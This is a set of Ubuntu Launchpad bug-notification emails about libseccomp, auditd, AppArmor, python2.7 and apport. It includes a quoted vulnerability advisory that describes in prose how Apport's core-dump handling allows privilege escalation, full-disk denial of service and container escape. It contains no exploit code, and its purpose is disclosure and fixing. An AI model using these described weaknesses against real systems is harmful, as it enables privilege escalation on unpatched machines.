As for the failing Xenial snapd autopkgtests...

- amd64: The autopkgtest:ubuntu-16.04-amd64:tests/main/completion fails with 
and without the libseccomp in xenial-proposed
- s390x: No tests are ever ran due to the tests requiring "machine-level 
isolation" but that not being available on s390x. However, snapd s390x test 
runs have been hitting an error for about the last month.

Both are false positives and should not be something that keeps
libseccomp from migrating.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libseccomp in Ubuntu.
https://bugs.launchpad.net/bugs/1682102

Title:
  libseccomp should support GA and HWE kernels

Status in libseccomp package in Ubuntu:
  Invalid
Status in libseccomp source package in Xenial:
  Fix Committed

Bug description:
  [Impact]

  out of date libseccomp w.r.t. custom and hwe kernels provides sub-par 
userspace protection, which is otherwise available on the running kernel and 
hardware combination.
  This results in subpar security of systems running new architectures (s390x & 
ppc64el) and newer hwe/custom kernels.

  * Version 2.3.1 - April 20, 2016
  - Fixed a problem with 32-bit x86 socket syscalls on some systems
  - Fixed problems with ipc syscalls on 32-bit x86
  - Fixed problems with socket and ipc syscalls on s390 and s390x

  * Version 2.3.0 - February 29, 2016
  - Added support for the s390 and s390x architectures
  - Added support for the ppc, ppc64, and ppc64le architectures
  - Update the internal syscall tables to match the Linux 4.5-rcX releases
  - Filter generation for both multiplexed and direct socket syscalls on x86
  - Support for the musl libc implementation
  - Additions to the API to enable runtime version checking of the library
  - Enable the use of seccomp() instead of prctl() on supported systems
  - Added additional tests to the regression test suite

  There is no ABI/API break

  There are no packaging changes, apart from dropping patches included
  in this upstream release and updating new symbols.

  Doing wholesome update is safer and carries less risk, than
  individually cherrypicking effectively all of the above.

  This is a backport to an LTS release under the banner of safe
  introduction of new features and new hardware support.

  It is expected that container technologies will take advantage of the
  newly available libseccomp.

  This may need to be uploaded as a security update.

  Currently, s390x support in xenial libssecomp is incomplete. And there
  are v4.5+ syscall tables missing as used by hwe kernels and some
  custom kernels.

  [Testcase]
  Validate that all main contianer technologies are operational and do not 
regress, e.g.:
   - lxc
   - lxd
   - docker
   - snapd

  [Regression Potential]
  Userspace components may detect at runtime newly available libseccomp, and 
thus restrict user-space processes more than previously done. This may lead to 
a change of restrictions applied on the user sapce processes, and result in 
previously unexpected denials / errors returned.

  
  [Proposed Update available in bileto PPA]
  https://launchpad.net/~ci-train-ppa-service/+archive/ubuntu/2981

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libseccomp/+bug/1682102/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1724152] Re: ISST-LTE: pVM: aureport couldn't get the right auid from the audit log on ubuntu16.04

[Tyler Hicks]

@Pavithra Hello! I believe that your `aureport -l` is showing that the
bug is not fixed although I suspect that you did not install the auditd
package from zesty-proposed. Can you reply with the version of auditd
that was installed when you ran aureport?

It should be version 1:2.6.6-1ubuntu1.1 which can be installed by
enabling the proposed pocket:


  https://wiki.ubuntu.com/Testing/EnableProposed

Thanks!

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to audit in Ubuntu.
https://bugs.launchpad.net/bugs/1724152

Title:
  ISST-LTE: pVM: aureport couldn't get the right auid from the audit log
  on ubuntu16.04

Status in The Ubuntu-power-systems project:
  Fix Committed
Status in audit package in Ubuntu:
  Invalid
Status in audit source package in Xenial:
  Fix Committed
Status in audit source package in Zesty:
  Fix Committed

Bug description:
  [Impact]

  The aureport command, part of the audit userspace utilities,
  incorrectly reports the user id of successful logins. "-1" is printed
  instead of the expected user id.

  [Test Case]

  As root, run `login`. Proceed as follows:

  1. Login with a blank username and any password
  2. Login with an invalid username and any password
  3. Login with a valid username and an invalid password
  4. Login with a valid username and a valid password
  5. Exit from the login shell
  6. Run `aureport -l` and examine the last for login records

  An unpatched aureport will print the following:

  
  # date time auid host term exe success event
  
  ...
  2. 10/17/2017 23:45:32 UNKNOWN ? /dev/pts/8 /bin/login no 97
  3. 10/17/2017 23:45:39 UNKNOWN ? /dev/pts/8 /bin/login no 99
  4. 10/17/2017 23:45:45 tyhicks ? /dev/pts/8 /bin/login no 101
  5. 10/17/2017 23:45:49 -1 ? /dev/pts/8 /bin/login yes 107

  A patch aureport will print the correct output:

  Login Report
  
  # date time auid host term exe success event
  
  ...
  2. 10/17/2017 23:52:44 UNKNOWN ? /dev/pts/8 /bin/login no 165
  3. 10/17/2017 23:52:52 UNKNOWN ? /dev/pts/8 /bin/login no 167
  4. 10/17/2017 23:52:58 tyhicks ? /dev/pts/8 /bin/login no 169
  5. 10/17/2017 23:53:02 1000 ? /dev/pts/8 /bin/login yes 175

  Note the "1000" in the auid column on the #5 row. It should *not* be
  "-1".

  [Regression Potential]

  The regression potential is limited due to the change only affecting a
  single line of code, the fix comes from upstream, and that the
  aureport utility is not critical.

  [Original Report]

  == Comment: #0 - Miao Tao Feng  - 2016-11-23 02:46:25 ==
  When we develop new testcase for audit, we found that command "aureport -l" 
print out wrong auid "-1"  on ubuntu16.04  and it should be 1000 according to 
the audit.log.

  The following are details:

  root@roselp2:~# aureport -l

  Login Report
  
  # date time auid host term exe success event
  
  1. 11/23/2016 02:20:12 -1 10.33.24.118 /dev/pts/0 /usr/sbin/sshd yes 18

  The auid "-1" on the above line should be "1000? according to the
  audit.log.

  root@roselp2:~# grep ":18" /var/log/audit/audit.log
  type=USER_LOGIN msg=audit(1479889212.292:18): pid=4177 uid=0 auid=1000 ses=4 
msg='op=login id=1000 exe="/usr/sbin/sshd" hostname=10.33.24.118 
addr=10.33.24.118 terminal=/dev/pts/0 res=success'

  root@roselp2:~# dpkg -s auditd
  Package: auditd
  Status: install ok installed
  Priority: extra
  Section: admin
  Installed-Size: 1051
  Maintainer: Ubuntu Developers 
  Architecture: ppc64el
  Source: audit
  Version: 1:2.4.5-1ubuntu2
  Depends: lsb-base (>= 3.0-6), mawk | gawk, init-system-helpers (>= 1.18~), 
libaudit1 (>= 1:2.4.2), libauparse0 (>= 1:2.3.1), libc6 (>= 2.17)
  Suggests: audispd-plugins

  root@roselp2:~# uname -a
  Linux roselp2 4.4.0-47-generic #68-Ubuntu SMP Wed Oct 26 19:38:24 UTC 2016 
ppc64le ppc64le ppc64le GNU/Linux

  root@roselp2:~# service auditd status
  ? auditd.service - Security Auditing Service
     Loaded: loaded (/lib/systemd/system/auditd.service; enabled; vendor 
preset: e
     Active: active (running) since Wed 2016-11-23 02:19:21 CST; 19s ago
   Main PID: 4085 (auditd)
     CGroup: /system.slice/auditd.service
     ??4085 /sbin/auditd -n

  Nov 23 02:19:21 roselp2 auditctl[4086]: enabled 0
  Nov 23 02:19:21 roselp2 auditctl[4086]: failure 1
  Nov 23 02:19:21 roselp2 auditctl[4086]: pid 0
  Nov 23 02:19:21 roselp2 auditctl[4086]: rate_limit 0
  Nov 23 02:19:21 roselp2 auditctl[4086]: backlog_limit 320
  Nov 23 02:19:21 roselp2 auditctl[4086]: lost 0
  Nov 23 02:19:21 roselp2 auditctl[4086]: backlog 0
  Nov 23 02:19:21 roselp2 auditctl[4086]: backlog_wait_time 15000
  Nov 23 02:19:21 roselp2 systemd[1]: Started 

[Touch-packages] [Bug 1733700] Re: apparmor python tools do not understand 'include' rules

[Tyler Hicks]

I took a quick look at this bug to attempt to locate the problem. I
originally thought it was due to the Python utils' parser not supporting
include rules that are missing a leading '#' but that's not the case
since the regex in utils/apparmor/regex.py supports such an include
rule:

  RE_INCLUDE = re.compile('^\s*#?include\s*<(?P.*)>' +
RE_EOL)

The problem here is due to the regex only supporting include paths that
are surrounded by <>. The apparmor_parser allows for absolute include
paths to be surrounded by "" or by nothing at all and that is what the
Python utils do not currently support.

Also note that there are existing, but commented out, tests for this
style of include rules in utils/test/test-regex_matches.py:

class Test_re_match_include(AATest):
tests = [
...
# ('include foo',   'foo'   
), # XXX not supported in tools yet
# ('include /foo/bar',  '/foo/bar'  
), # XXX not supported in tools yet
# ('include "foo"', 'foo'   
), # XXX not supported in tools yet
# ('include "/foo/bar"','/foo/bar'  
), # XXX not supported in tools yet

...
]

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1733700

Title:
  apparmor python tools do not understand 'include' rules

Status in AppArmor:
  Triaged
Status in apparmor package in Ubuntu:
  New
Status in apparmor source package in Trusty:
  New
Status in apparmor source package in Xenial:
  New
Status in apparmor source package in Zesty:
  New
Status in apparmor source package in Artful:
  New
Status in apparmor source package in Bionic:
  New

Bug description:
  The apparmor_parser now supports 'include' rules in addition to
  '#include', but the python tools only understand '#include'. This
  manifested itself in Ubuntu in bug #1734038 (see
  https://bugs.launchpad.net/ubuntu/+source/snapd/+bug/1734038/comments/15
  of that bug for details).

  Reproducer:

  $ mkdir /tmp/test

  $ cat /etc/apparmor.d/lp1733700
  profile lp1733700 {
include "/tmp/test"
  }

  $ apparmor_parser -QTK /etc/apparmor.d/lp1733700 && echo ok
  ok

  $ sudo aa-enforce /etc/apparmor.d/lp1733700
  ERROR: Syntax Error: Missing '}' or ','. Reached end of file 
/etc/apparmor.d/lp1733700 while inside profile lp1733700

  Changing the 'include' to '#include' results in:
  $ sudo aa-enforce /etc/apparmor.d/lp1733700 
  Setting /etc/apparmor.d/lp1733700 to enforce mode.

  At least aa-logprof is also affected.

  = Original report =
  On Ubuntu artful, I'm seeing the following behavior:

  $ aa-enforce usr.bin.chromium-browser
  
  ERROR: Syntax Error: Unknown line found in file 
/etc/apparmor.d/snap.core.3440.usr.lib.snapd.snap-confine line 15:
  include "/var/lib/snapd/apparmor/snap-confine.d"   /etc/ld.so.cache r,

  I have never touched snap.core.3440.usr.lib.snapd.snap-confine.
  This is snapd 2.28.5+17.10.

To manage notifications about this bug go to:
https://bugs.launchpad.net/apparmor/+bug/1733700/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1638695] Re: Python 2.7.12 performance regression

[Tyler Hicks]

I don't feel like the change from fstack-protector-strong
to fstack-protector should be made. The performance testing results in
the spreadsheet don't suggest that the change positively impacts
performance in a meaningful way. fstack-protector-strong slightly
outperforms fstack-protector in some situations and slightly under
performs in others, suggesting that the difference is within the noise
threshold. I'd strongly prefer that we continue to use
fstack-protector-strong.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to python2.7 in Ubuntu.
https://bugs.launchpad.net/bugs/1638695

Title:
  Python 2.7.12 performance regression

Status in python2.7 package in Ubuntu:
  Fix Released
Status in python2.7 source package in Xenial:
  Confirmed

Bug description:
  I work on the OpenStack-Ansible project and we've noticed that testing
  jobs on 16.04 take quite a bit longer to complete than on 14.04.  They
  complete within an hour on 14.04 but they normally take 90 minutes or
  more on 16.04.  We use the same version of Ansible with both versions
  of Ubuntu.

  After more digging, I tested python performance (using the
  'performance' module) on 14.04 (2.7.6) and on 16.04 (2.7.12).  There
  is a significant performance difference between each version of
  python.  That is detailed in a spreadsheet[0].

  I began using perf to dig into the differences when running the python
  performance module and when using Ansible playbooks.  CPU migrations
  (as measured by perf) are doubled in Ubuntu 16.04 when running the
  same python workloads.

  I tried changing some of the kerne.sched sysctl configurables but they
  had very little effect on the results.

  I compiled python 2.7.12 from source on 14.04 and found the
  performance to be unchanged there.  I'm not entirely sure where the
  problem might be now.

  We also have a bug open in OpenStack-Ansible[1] that provides
  additional detail. Thanks in advance for any help you can provide!

  [0] 
https://docs.google.com/spreadsheets/d/18MmptS_DAd1YP3OhHWQqLYVA9spC3xLt4PS3STI6tds/edit?usp=sharing
  [1] https://bugs.launchpad.net/openstack-ansible/+bug/1637494

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/python2.7/+bug/1638695/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1732518] Re: Please re-enable container support in apport

[Tyler Hicks]

@Brian did you have any thoughts on the debdiff?

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1732518

Title:
  Please re-enable container support in apport

Status in apport package in Ubuntu:
  Triaged
Status in apport source package in Xenial:
  Triaged
Status in apport source package in Zesty:
  Triaged
Status in apport source package in Artful:
  Triaged
Status in apport source package in Bionic:
  Triaged

Bug description:
  The latest security update for apport disabled container crash
  forwarding, this is a feature which users do rely on in production and
  while it may have been appropriate to turn it off to put a security
  update out, this needs to be re-enabled ASAP.

  I provided a patch which fixed the security issue before the security
  issue was publicly disclosed so pushing an SRU to all Ubuntu releases
  re-enabling this code should be pretty trivial.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1732518/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1732518] Re: Please re-enable container support in apport

[Tyler Hicks]

Sigh... Thanks for being patient with me on that. I think my brain just
wrote everything at the top of main() off as setting up the namespace
for some reason. That's embarrassing... :)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1732518

Title:
  Please re-enable container support in apport

Status in apport package in Ubuntu:
  Triaged
Status in apport source package in Xenial:
  Triaged
Status in apport source package in Zesty:
  Triaged
Status in apport source package in Artful:
  Triaged
Status in apport source package in Bionic:
  Triaged

Bug description:
  The latest security update for apport disabled container crash
  forwarding, this is a feature which users do rely on in production and
  while it may have been appropriate to turn it off to put a security
  update out, this needs to be re-enabled ASAP.

  I provided a patch which fixed the security issue before the security
  issue was publicly disclosed so pushing an SRU to all Ubuntu releases
  re-enabling this code should be pretty trivial.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1732518/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1732518] Re: Please re-enable container support in apport

[Tyler Hicks]

The reason I'm being picky about the pidns thing is because I think this
update needs to go through -security since it fixes regressions caused
by the security update. We try to be as conservative as possible with
those updates.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1732518

Title:
  Please re-enable container support in apport

Status in apport package in Ubuntu:
  Triaged
Status in apport source package in Xenial:
  Triaged
Status in apport source package in Zesty:
  Triaged
Status in apport source package in Artful:
  Triaged
Status in apport source package in Bionic:
  Triaged

Bug description:
  The latest security update for apport disabled container crash
  forwarding, this is a feature which users do rely on in production and
  while it may have been appropriate to turn it off to put a security
  update out, this needs to be re-enabled ASAP.

  I provided a patch which fixed the security issue before the security
  issue was publicly disclosed so pushing an SRU to all Ubuntu releases
  re-enabling this code should be pretty trivial.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1732518/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1732518] Re: Please re-enable container support in apport

[Tyler Hicks]

If you don't run the `ulimit -c unlimited` command, your crash program
will not result in apport writing out a core file.

However, even if you don't run that command, the reproducer in bug
1726372 will cause apport to write out a core file.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1732518

Title:
  Please re-enable container support in apport

Status in apport package in Ubuntu:
  Triaged
Status in apport source package in Xenial:
  Triaged
Status in apport source package in Zesty:
  Triaged
Status in apport source package in Artful:
  Triaged
Status in apport source package in Bionic:
  Triaged

Bug description:
  The latest security update for apport disabled container crash
  forwarding, this is a feature which users do rely on in production and
  while it may have been appropriate to turn it off to put a security
  update out, this needs to be re-enabled ASAP.

  I provided a patch which fixed the security issue before the security
  issue was publicly disclosed so pushing an SRU to all Ubuntu releases
  re-enabling this code should be pretty trivial.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1732518/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1732518] Re: Please re-enable container support in apport

[Tyler Hicks]

I suspect that you're correct but I'd rather not widen the attack
surface of apport without having a strong reason to do so. If there's
not strong justification, maybe enabling the handling of those crashes
in the dev release and seeing how it plays out would be a better
approach.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1732518

Title:
  Please re-enable container support in apport

Status in apport package in Ubuntu:
  Triaged
Status in apport source package in Xenial:
  Triaged
Status in apport source package in Zesty:
  Triaged
Status in apport source package in Artful:
  Triaged
Status in apport source package in Bionic:
  Triaged

Bug description:
  The latest security update for apport disabled container crash
  forwarding, this is a feature which users do rely on in production and
  while it may have been appropriate to turn it off to put a security
  update out, this needs to be re-enabled ASAP.

  I provided a patch which fixed the security issue before the security
  issue was publicly disclosed so pushing an SRU to all Ubuntu releases
  re-enabling this code should be pretty trivial.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1732518/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1732518] Re: Please re-enable container support in apport

[Tyler Hicks]

Going back to point #3 in comment 2, I don't see anything that will
protect against an updated apport in the host from forwarding a crash to
a non-updated apport in a container, causing the container's apport to
confuse dump_mode as a global_pid. Am I missing something that protects
against that or do not consider it to be a problem worth worrying about?

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1732518

Title:
  Please re-enable container support in apport

Status in apport package in Ubuntu:
  Triaged
Status in apport source package in Xenial:
  Triaged
Status in apport source package in Zesty:
  Triaged
Status in apport source package in Artful:
  Triaged
Status in apport source package in Bionic:
  Triaged

Bug description:
  The latest security update for apport disabled container crash
  forwarding, this is a feature which users do rely on in production and
  while it may have been appropriate to turn it off to put a security
  update out, this needs to be re-enabled ASAP.

  I provided a patch which fixed the security issue before the security
  issue was publicly disclosed so pushing an SRU to all Ubuntu releases
  re-enabling this code should be pretty trivial.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1732518/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1732518] Re: Please re-enable container support in apport

[Tyler Hicks]

Do we have a strong reason to start handling crashes inside of "non-
full" containers on stable Ubuntu releases? I'm specifically talking
about when this conditional evaluates to True:

  elif not is_same_ns(host_pid, "pid") and is_same_ns(host_pid, "mnt"):

If there's no strong reason, can we only enable that in Bionic?

Also, did you test that with the the PoC in bug 1726372? I'm fairly
certain that it'll create a core dump in /tmp (/tmp/core) which is
new/undesired.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1732518

Title:
  Please re-enable container support in apport

Status in apport package in Ubuntu:
  Triaged
Status in apport source package in Xenial:
  Triaged
Status in apport source package in Zesty:
  Triaged
Status in apport source package in Artful:
  Triaged
Status in apport source package in Bionic:
  Triaged

Bug description:
  The latest security update for apport disabled container crash
  forwarding, this is a feature which users do rely on in production and
  while it may have been appropriate to turn it off to put a security
  update out, this needs to be re-enabled ASAP.

  I provided a patch which fixed the security issue before the security
  issue was publicly disclosed so pushing an SRU to all Ubuntu releases
  re-enabling this code should be pretty trivial.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1732518/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1732518] Re: Please re-enable container support in apport

[Tyler Hicks]

The patch in comment #4 of bug 1726372 was mostly complete but issues
were discovered late as we were approached the CRD for the CVEs
described in that bug:

1) The patch should be updated to forward the new dump_mode argument into the 
container. This is a trivial change.
2) The patch changed the functionality of apport so that it processes, in the 
host, all crashes that come from a "non-full" container. The PoC in the 
description of bug 1726372 simply creates a PID namespace, without a new mount 
namespace, and then calls abort(). The behavioral change introduced by the 
patch resulted in apport writing the core dump to /tmp/core when it didn't do 
that before because it ignored such crashes.
3) The combination of the patch and the fix for CVE-2017-14177, which added a 
new required dump_mode command line option to Apport, made it potentially 
dangerous for an updated Apport in the host to forward a crash to a non-updated 
Apport in a container as the dump_mode parameter would be treated as the 
global_pid in the container's Apport.

These three issues are why we had to make the decision to (temporarily)
drop container crash forwarding.

I won't be directly involved in re-enabling the container crash
forwarding support but please feel free to ping me for a review, if
needed.

** CVE added: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-14177

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1732518

Title:
  Please re-enable container support in apport

Status in apport package in Ubuntu:
  Triaged
Status in apport source package in Xenial:
  Triaged
Status in apport source package in Zesty:
  Triaged
Status in apport source package in Artful:
  Triaged
Status in apport source package in Bionic:
  Triaged

Bug description:
  The latest security update for apport disabled container crash
  forwarding, this is a feature which users do rely on in production and
  while it may have been appropriate to turn it off to put a security
  update out, this needs to be re-enabled ASAP.

  I provided a patch which fixed the security issue before the security
  issue was publicly disclosed so pushing an SRU to all Ubuntu releases
  re-enabling this code should be pretty trivial.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1732518/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1726372] Re: Multiple security issues in Apport

[Tyler Hicks]

** Information type changed from Private Security to Public Security

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1726372

Title:
  Multiple security issues in Apport

Status in apport package in Ubuntu:
  New
Status in apport source package in Trusty:
  Fix Released
Status in apport source package in Xenial:
  Fix Released
Status in apport source package in Zesty:
  Fix Released
Status in apport source package in Artful:
  Fix Released

Bug description:
  We have received the following advisory:

  Security vulnerability report: multiple vulnerabilies in Apport / Ubuntu
  

  OVERVIEW
  

  Author: Sander Bos
  Author's e-mail address: sbos _at_ sbosnet _dot_ nl
  Author's web site: www.sbosnet.nl
  CVE numbers: requested
  Date: 2017-10-23
  Version: 2

  SUMMARY
  ---

  Several security vulnerabilities were discovered by Sander Bos in the
  "Apport" crash handler program [1] affecting all currently supported
  releases of Ubuntu (12.04 LTS (ESM), 14.04 LTS, 16.04 LTS, 17.04, 17.10)
  and, likely, other distributions and Ubuntu derivatives using Apport
  as well.

  Exploitation types are privilege escalation (root exploitation), full
  disk DoS, and Linux container escaping.

  DESCRIPTION, WITH PROPOSED FIXES / WORKAROUNDS
  --

  Issue 1 (CVE-2017-14177): Incomplete fix for CVE-2015-1324
  -

  Exploitation types: privilege escalation, full disk DoS.

  Ubuntu releases affected: 12.04 LTS (ESM), 14.04 LTS, 16.04 LTS, 17.04, 17.10
  (i.e., all currently supported releases).
  Note: default OS installations might need an extra package installed,
  or a system configuration setting changed, to be exploitable.

  Description:

  The Apport issue I reported in 2015 (CVE-2015-1324) [2], leading to
  privilege escalation, was not fixed properly.  The initial issue and
  vulnerability still apply, although to a lesser extent.

  Since the introduction of the fix [3] Apport detects setuid, unreadable,
  and other types of tainted / protected binaries / processes by
  comparing the real UID and real GID of the crashed process, read from
  /proc//status and which Apport first sets its own UID and GID to,
  with the UID and GID file owner information of /proc//stat.

  For non tainted processes, the file owner information of /proc//stat
  is the UID and GID of the user that started the process.  For tainted
  processes, the file owner information is 0.

  If the comparison does not match, Apport assumes the process to be a
  tainted process, and disables writing a core dump file.  This on itself
  is correct.

  However, if the comparison _does_ match, it is not always correct to
  assume that the process is _not_ a tainted process (and, consequently,
  write a core dump file).  For example, some setuid programs run by users
  receive real UID 0 and real GID 0.  Also, some setuid processes started
  by root (partially) drop privileges at some point (after which users
  could crash them), for example after forking, but retain real UID 0 and
  real GID 0.

  In such cases, Apport writes a core dump file (as root) while in fact
  it should not do so.  This brings back the problem of CVE-2015-1324.

  It should also be noted that, for the same reason, Apport "dropping 
privileges"
  to the real UID and real GID read from /proc//status is at times
  incorrect and, thus, unsafe as well.

  Proposed fix:

  The proper fix is to really _never_ write a core dump file for processes
  where suid_dumpable=2 got effectuated.  This was probably what was
  intended with the fix for CVE-2015-1324, but the check that was created
  does not catch all cases of tainted processes.  A better approach would
  be to let Apport read out "%d" from core(5) through "kernel.core_pattern"
  and if it returns "2", not write a core dump file.  Note however that
  "%d" is only present since kernel version 3.7, and would thus not work
  on Ubuntu 12.04 LTS systems running a 3.2 "GA" (General Availability)
  kernel from earlier Ubuntu 12.04.x LTS releases (as opposed to such
  systems running a 3.13 "HWE" (Hardware Enablement Stack) kernel from
  later Ubuntu 12.04.x LTS releases).

  Issue 2 (CVE-2017-14179): Apport lacking container / PID namespace support
  and
  Issue 3 (CVE-2017-14180): Apport broken container / PID namespace support
  -

  Exploitation types: container escape, privilege escalation, full disk
  DoS.

  Ubuntu releases affected: 12.04 LTS (ESM), 16.04 LTS, 17.04, 17.10.
  Note: exploitable on default OS installations.

  Description:

  Issue 2 (CVE-2017-14179):
  Ubuntu 12.04 LTS: Apport does not recognize ("support")
  PID namespaces / containers.

  Issue 3 (CVE-2017-14180):
  

[Touch-packages] [Bug 1567597] Re: implement 'complain mode' in seccomp for developer mode with snaps

[Tyler Hicks]

I've successfully performed the testing described in the [libseccomp
Test Case] section of this bug description using libseccomp
2.3.1-2.1ubuntu2~16.04.1 from xenial-proposed.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libseccomp in Ubuntu.
https://bugs.launchpad.net/bugs/1567597

Title:
  implement 'complain mode' in seccomp for developer mode with snaps

Status in Snappy:
  In Progress
Status in libseccomp package in Ubuntu:
  Fix Released
Status in linux package in Ubuntu:
  Fix Released
Status in libseccomp source package in Xenial:
  In Progress
Status in linux source package in Xenial:
  Fix Released
Status in libseccomp source package in Zesty:
  Fix Released
Status in linux source package in Zesty:
  Fix Released

Bug description:
  A requirement for snappy is that a snap may be placed in developer
  mode which will put the security sandbox in complain mode such that
  violations against policy are logged, but permitted. In this manner
  learning tools can be written to parse the logs, etc and make
  developing on snappy easier.

  Unfortunately with seccomp only SCMP_ACT_KILL logs to dmesg and while
  we can set complain mode to permit all calls, they are not logged at
  this time. I've discussed this with upstream and we are working
  together on the approach. This may require a kernel patch and an
  update to libseccomp, to filing this bug for now as a placeholder and
  we'll add other tasks as necessary.

  UPDATE: ubuntu-core-launcher now supports the '@complain' directive
  that is a synonym for '@unrestricted' so people can at least turn on
  developer mode and not be blocked by seccomp. Proper complain mode for
  seccomp needs to still be implemented (this bug).

  [Impact]

  Snapd needs a way to log seccomp actions without blocking any syscalls
  in order to have a more useful complain mode. Such functionality has
  been acked upstream and patches are on their way into the Linux 4.14
  kernel (backported to 4.12.0-13.14 in artful).

  The corresponding libseccomp changes are still undergoing review
  (https://github.com/seccomp/libseccomp/pull/92). The pull request adds
  a number of new symbols and probably isn't appropriate to backport
  until upstream has acked the pull request. However, only a small part
  of that larger pull request is needed by snapd and that change can be
  safely backported since the only added symbol, the SCMP_ACT_LOG macro,
  must match the SECCOMP_RET_LOG macro that has already been approved
  and merged in the upstream Linux kernel.

  [libseccomp Test Case]

  A large number of tests are ran as part of the libseccomp build.
  However, the "live" tests which test libseccomp with actual kernel
  enforcement are not ran at that time. They can be manually exercised
  to help catch any regressions. Note that on Artful, there's an
  existing test failure (20-live-basic_die%%002-1):

  $ sudo apt build-dep -y libseccomp
  $ sudo apt install -y cython
  $ apt source libseccomp
  $ cd libseccomp-*
  $ autoreconf -ivf && ./configure --enable-python && make check-build
  $ (cd tests && ./regression -T live)

  All tests should pass on zesty (12 tests) and xenial (10 tests). On artful, 
you'll see one pre-existing failure:
  ...
  Test 20-live-basic_die%%002-1 result:   FAILURE 20-live-basic_die TRAP 
rc=159
  ...
  Regression Test Summary
   tests run: 12
   tests skipped: 0
   tests passed: 11
   tests failed: 1
   tests errored: 0
  

  

  Now we can build and run a small test program to test the SCMP_ACT_LOG
  action in the way that snapd wants to use it for developer mode:

  $ sudo apt install -y libseccomp-dev
  $ gcc -o lp1567597-test lp1567597-test.c -lseccomp
  $ ./lp1567597-test

  With a kernel that contains the logging patches and an updated
  libseccomp, the exit code should be 0 and you should have an entry in
  the system log that looks like this:

  audit: type=1326 audit(1505859630.994:69): auid=1000 uid=1000 gid=1000
  ses=2 pid=18451 comm="lp1567597-test"
  exe="/home/tyhicks/lp1567597-test" sig=0 arch=c03e syscall=2
  compat=0 ip=0x7f547352c5c0 code=0x7ffc
